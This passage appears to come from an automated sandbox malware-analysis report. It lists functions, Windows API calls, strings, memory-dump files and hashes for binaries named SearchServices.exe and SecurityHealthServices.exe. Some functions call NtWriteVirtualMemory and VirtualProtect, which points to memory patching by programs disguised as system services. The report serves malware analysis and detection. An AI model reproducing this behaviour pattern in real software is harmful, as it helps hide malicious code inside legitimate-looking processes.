Instruction Fuzzy Hash: 1B41B432A2868185EB209F65EC443B9E7A1FB98794F804032EE4D87798EF3DE541CB54

Function 00007FF728800108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF728800148
GetCurrentDirectoryW.KERNEL32 ref: 00007FF72880019A

Strings

:, xrefs: 00007FF72880015E

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 5f6034cdb323e25da13304688bcfaa40664c8172194540dca50913ba3db948d1
Instruction ID: 5db5c5f4d849c6490ee08245613fa33770f75496f4412f77a065f7739d695373
Opcode Fuzzy Hash: 5f6034cdb323e25da13304688bcfaa40664c8172194540dca50913ba3db948d1
Instruction Fuzzy Hash: AC21C322A2868181FB20AB15DC4426DE3E2FB88B44FC58037DA9D83684DF7DE555CA69

Function 00007FF7287E2B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7287E8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8E1A

MessageBoxW.USER32 ref: 00007FF7287E2BE5
MessageBoxA.USER32 ref: 00007FF7287E2C01

Strings

Fatal error detected, xrefs: 00007FF7287E2BBB, 00007FF7287E2BF3

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: cc7983d7ddd1ca4fe6b0e820e7fb498cdab092a0274b8afa64f738c4e3f04b3b
Instruction ID: c5d7425c7922a2e14f19890e42effc8703cdf4f8ba4ebc0fee8f447e50075aa3
Opcode Fuzzy Hash: cc7983d7ddd1ca4fe6b0e820e7fb498cdab092a0274b8afa64f738c4e3f04b3b
Instruction Fuzzy Hash: 0421717263868291E720AB10EC516EAE394FF98788FC01137E79D47AA9DF3DD214CB14

Function 00007FF7287E2C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7287E8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7287E2A9B), ref: 00007FF7287E8E1A

MessageBoxW.USER32 ref: 00007FF7287E2D05
MessageBoxA.USER32 ref: 00007FF7287E2D21

Strings

Error detected, xrefs: 00007FF7287E2CDB, 00007FF7287E2D13

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 339977713d7da472da6bf6cde3ee098e7c711e0ac5788cc03ff0aed866900f2e
Instruction ID: 4ce9216c3c69cafb583758ded0d916f7c2a4bd61640b2bb7a0c8e50459c6ed4a
Opcode Fuzzy Hash: 339977713d7da472da6bf6cde3ee098e7c711e0ac5788cc03ff0aed866900f2e
Instruction Fuzzy Hash: F3217E7262868281E620EB10EC516EAE3A4FF98788FC01137E79D47A99DF3DD214CF14

Function 00000264CC2794A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000264CC2794F0
RaiseException.KERNEL32 ref: 00000264CC279531

Strings

csm, xrefs: 00000264CC27951E

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 8bffb8cc8e7273203f340410c3fa697ec5e5c9b381410392d0d7d0b47513c2e0
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: F8112B32615B8082EB619B29E45839977E5F788B94F585221EFCC07768DF3DC651CB00

Function 00007FF7287F0678 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7287F06C8
RaiseException.KERNEL32 ref: 00007FF7287F0709

Strings

csm, xrefs: 00007FF7287F06F6

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: fd7208e01f832ae2c3cc6aa9bb96c2aefef2cc6e58d8a602234d9daac72df826
Instruction ID: 6637f8af562b3ff81ec7358d56e4648338976e0db463ac6b72b86d76e95204f9
Opcode Fuzzy Hash: fd7208e01f832ae2c3cc6aa9bb96c2aefef2cc6e58d8a602234d9daac72df826
Instruction Fuzzy Hash: 11114932619B8182EB609F15E800269F7E1FB98B88F984231DB8D07B64DF3EC551CB04

Function 00007FF728801594 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7288015C4
GetDriveTypeW.KERNEL32 ref: 00007FF728801604

Strings

:, xrefs: 00007FF7288015ED

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: b3a001ff98c302286219bbad5be65c90682500455353c0d2fccc423422cbb122
Instruction ID: 14eaa82e21fa17ec0aa6592a1d820ac810cca3fd12904c2170d28f07784df49d
Opcode Fuzzy Hash: b3a001ff98c302286219bbad5be65c90682500455353c0d2fccc423422cbb122
Instruction Fuzzy Hash: 2801B12592C64286F730BFA09C5227AE3E0EF48748FC00037D59E4A685EE2DD514CE28

Function 00000264CC247356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000264CC24737C

Strings

riptor at (, xrefs: 00000264CC247364
ierarchy Descriptor', xrefs: 00000264CC247381

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 849e90ab670c0a4fa3873d447d008d26638cd92b3f5a0632a8f39f8161b9ce24
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: E8E086B1A51B44D1DF01DF61E8642D833A0DB58B64B48A123999C46321FA3CD2E9C300

Function 00000264CC2473B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000264CC2473D8

Strings

riptor at (, xrefs: 00000264CC2473C0
Locator', xrefs: 00000264CC2473DD

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 0ca7d1e8a259fcd15bbb9bd574b8267a5a0309d8fa66a77311f41e1d7b89bb46
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 78E086B1A11B44C0DF01DF61D4601D87360E758B64B88A123C98C46321EA3CD2E5C300

Function 00000264CC271BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000264CC271C2D
HeapAlloc.KERNEL32 ref: 00000264CC271C3B
GetProcessHeap.KERNEL32 ref: 00000264CC271C77
HeapFree.KERNEL32 ref: 00000264CC271C85

Part of subcall function 00000264CC27152C: StrCmpIW.SHLWAPI ref: 00000264CC27155D

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 448b850e0284179771ef424e97082333a94d6fafdf275ca409f912273bb846ca
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: D4118235A02B44C1EA04EB6AE4596A973A1FB89FC0F18602ADE8D97776DE39C542C300

Function 00000264CC271268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000264CC27126E
HeapAlloc.KERNEL32 ref: 00000264CC27127D
GetProcessHeap.KERNEL32 ref: 00000264CC271297
HeapAlloc.KERNEL32 ref: 00000264CC2712A8

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 788397d6c4ad2f4ea2923ebbd8913a9e6a2ec107e851b7c2ae07be6445011cca
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: ECE06536A02A04C6E7049F56D81C78A36E1FB89F05F04D014C94907363DF7EC595C750

Analysis Process: SecurityHealthServices.exePID: 7296, Parent PID: 5804COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1611
Total number of Limit Nodes:	3

Executed Functions

Function 00007FF7B087118B Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 108
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF7B08711A5
_amsg_exit.MSVCRT ref: 00007FF7B08711CC
_initterm.MSVCRT ref: 00007FF7B087120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7B0871156), ref: 00007FF7B087124E
malloc.MSVCRT ref: 00007FF7B087127E
strlen.MSVCRT ref: 00007FF7B08712A4
malloc.MSVCRT ref: 00007FF7B08712B0
memcpy.MSVCRT ref: 00007FF7B08712C3
_cexit.MSVCRT ref: 00007FF7B087132D

Strings

&, xrefs: 00007FF7B0871265

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID: &
API String ID: 2643109117-1499360005
Opcode ID: f5ebe1015575aee704515d89a86f753862dc2587200f9bcc8daf538a704b2405
Instruction ID: f968b391f531d19d23f3ff4401f6c5692a61ea81ddbe02d097332330e49e7d3d
Opcode Fuzzy Hash: f5ebe1015575aee704515d89a86f753862dc2587200f9bcc8daf538a704b2405
Instruction Fuzzy Hash: 43415035A19A0285FA12BF5DD959379B391BF66780FD05031CB0D47BBEDE2CB6A18320

Function 00007FF7B0871394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7B0871156), ref: 00007FF7B08713F7

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 60b8abda76a1d67bd50267617b36cc27e321f8fd8f18837f087ca1512b4177d8
Instruction ID: 1a6885a8fa80eddb51d0ad9a1e6d113beabcad56e5b759665e614bcd255c11ad
Opcode Fuzzy Hash: 60b8abda76a1d67bd50267617b36cc27e321f8fd8f18837f087ca1512b4177d8
Instruction Fuzzy Hash: C6F0FF7190CF41C2D611EB59F84406AB7B4FB6A390B508835EB9C47729CF3CF2608B60

Non-executed Functions

Function 00007FF7B08711D8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_initterm.MSVCRT ref: 00007FF7B087120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7B0871156), ref: 00007FF7B087124E
malloc.MSVCRT ref: 00007FF7B087127E
strlen.MSVCRT ref: 00007FF7B08712A4
malloc.MSVCRT ref: 00007FF7B08712B0
memcpy.MSVCRT ref: 00007FF7B08712C3
_cexit.MSVCRT ref: 00007FF7B087132D

Strings

&, xrefs: 00007FF7B0871265

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled_cexit_inittermmemcpystrlen
String ID: &
API String ID: 3825114775-1499360005
Opcode ID: 1421326fb660d10acabe760f18c80ccaa0d67fc07ecb586944e4279a4c9aab79
Instruction ID: 95d1e4b23e4bc0c7ff4bed5e503b2ff8fbf4dad7a9007bfad65a3e9700cce3f0
Opcode Fuzzy Hash: 1421326fb660d10acabe760f18c80ccaa0d67fc07ecb586944e4279a4c9aab79
Instruction Fuzzy Hash: 3A412125919A0285FA11BF5DE859379B391BF66780F905031CB4E47BBEDF2CB6A18320

Function 00007FF7B0879F11 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 389
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF7B087A0A3
_wcsnicmp.MSVCRT ref: 00007FF7B087A0D9
wcslen.MSVCRT ref: 00007FF7B087A0E9
memset.MSVCRT ref: 00007FF7B087A27B
wcscpy.MSVCRT ref: 00007FF7B087A286
wcscat.MSVCRT ref: 00007FF7B087A295
memset.MSVCRT ref: 00007FF7B087A312

Strings

X&, xrefs: 00007FF7B087A6B2

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: memsetwcslen$_wcsnicmpwcscatwcscpy
String ID: X&
API String ID: 525299370-221892188
Opcode ID: 4bb82d24eb0261c439c925074ef97e5e7bdcbfb235a8533da07d9165eb3e6eb0
Instruction ID: 390c63f8f515184411843f3df89b03f6a98727218680eccc40433dcbde70718e
Opcode Fuzzy Hash: 4bb82d24eb0261c439c925074ef97e5e7bdcbfb235a8533da07d9165eb3e6eb0
Instruction Fuzzy Hash: 9D326E51C2C68294F712AB2DBD492B5E750AFB3384FD45231DB8E11BADEF6C72948324

Function 00007FF7B0873350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7B08733B2
memset.MSVCRT ref: 00007FF7B0873445
wcscpy.MSVCRT ref: 00007FF7B087349D
wcscat.MSVCRT ref: 00007FF7B08734A8
wcslen.MSVCRT ref: 00007FF7B08734B9
memset.MSVCRT ref: 00007FF7B08735D4
wcscpy.MSVCRT ref: 00007FF7B0873635
wcscat.MSVCRT ref: 00007FF7B0873640
wcslen.MSVCRT ref: 00007FF7B0873654

Strings

0, xrefs: 00007FF7B08734E6
@, xrefs: 00007FF7B08734F1
@, xrefs: 00007FF7B0873698
, xrefs: 00007FF7B08736DD
0, xrefs: 00007FF7B087368D

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: a10a230fac32c1c9b1cba5451812d82770778d4235676226dd01fe2f0326c663
Instruction ID: ce92fdab7a46c334fd99474805af3b1e19958907e6e741a807facc35893729ae
Opcode Fuzzy Hash: a10a230fac32c1c9b1cba5451812d82770778d4235676226dd01fe2f0326c663
Instruction Fuzzy Hash: 02B1822191C6C185E321AB18E8493BBB7A0FFA6384F901135DB8D56B6DDF7CF2958B10

Function 00007FF7B0872690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF7B0872795
memset.MSVCRT ref: 00007FF7B0872865
wcscpy.MSVCRT ref: 00007FF7B08728CE
wcscat.MSVCRT ref: 00007FF7B08728D9
wcslen.MSVCRT ref: 00007FF7B08728E1
wcslen.MSVCRT ref: 00007FF7B08728F6
wcslen.MSVCRT ref: 00007FF7B087296D
wcslen.MSVCRT ref: 00007FF7B08729E8

Strings

X, xrefs: 00007FF7B0872B79
`, xrefs: 00007FF7B0872B91
0, xrefs: 00007FF7B087279A

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 2afb66486a7c6eafd6489e05ff2b98db1040c95d3c620a0d415e873f54981e3b
Instruction ID: 3ace3cced7e2e1bd5ba5baa44a382801d12371598935102798605f23ff53fa21
Opcode Fuzzy Hash: 2afb66486a7c6eafd6489e05ff2b98db1040c95d3c620a0d415e873f54981e3b
Instruction Fuzzy Hash: B0029522508BC181E721AB5DE8443BAB7A0FB96794F904235DB9D07BE9DF3CE295C710

Function 00007FF7B0871BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF7B0885F98,00007FF7B0885F98,?,?,00007FF7B0870000,?,00007FF7B0871991), ref: 00007FF7B0871C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF7B0885F98,00007FF7B0885F98,?,?,00007FF7B0870000,?,00007FF7B0871991), ref: 00007FF7B0871CC7
memcpy.MSVCRT ref: 00007FF7B0871CE0
GetLastError.KERNEL32(?,?,?,?,00007FF7B0885F98,00007FF7B0885F98,?,?,00007FF7B0870000,?,00007FF7B0871991), ref: 00007FF7B0871D23

Strings

Address %p has no image-section, xrefs: 00007FF7B0871CF4
VirtualProtect failed with code 0x%x, xrefs: 00007FF7B0871D29
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7B0871D17

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 0cd7c31905d97a056128cefe8a58f1e945d1c9d3e167828098de174e30b1626b
Instruction ID: 2e5ce4f68f1aa58e8b9857999eb173e191dd339c62bbcde9b07fe2e18d9564ec
Opcode Fuzzy Hash: 0cd7c31905d97a056128cefe8a58f1e945d1c9d3e167828098de174e30b1626b
Instruction Fuzzy Hash: BC418361A0864641EE62AF5DD8486B9A750EBA6BC0F944031CF0E47BBDDE3CF695C720

Function 00007FF7B087978D Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B0873350: memset.MSVCRT ref: 00007FF7B08733B2
Part of subcall function 00007FF7B0873350: memset.MSVCRT ref: 00007FF7B0873445
Part of subcall function 00007FF7B0873350: wcscpy.MSVCRT ref: 00007FF7B087349D
Part of subcall function 00007FF7B0873350: wcscat.MSVCRT ref: 00007FF7B08734A8
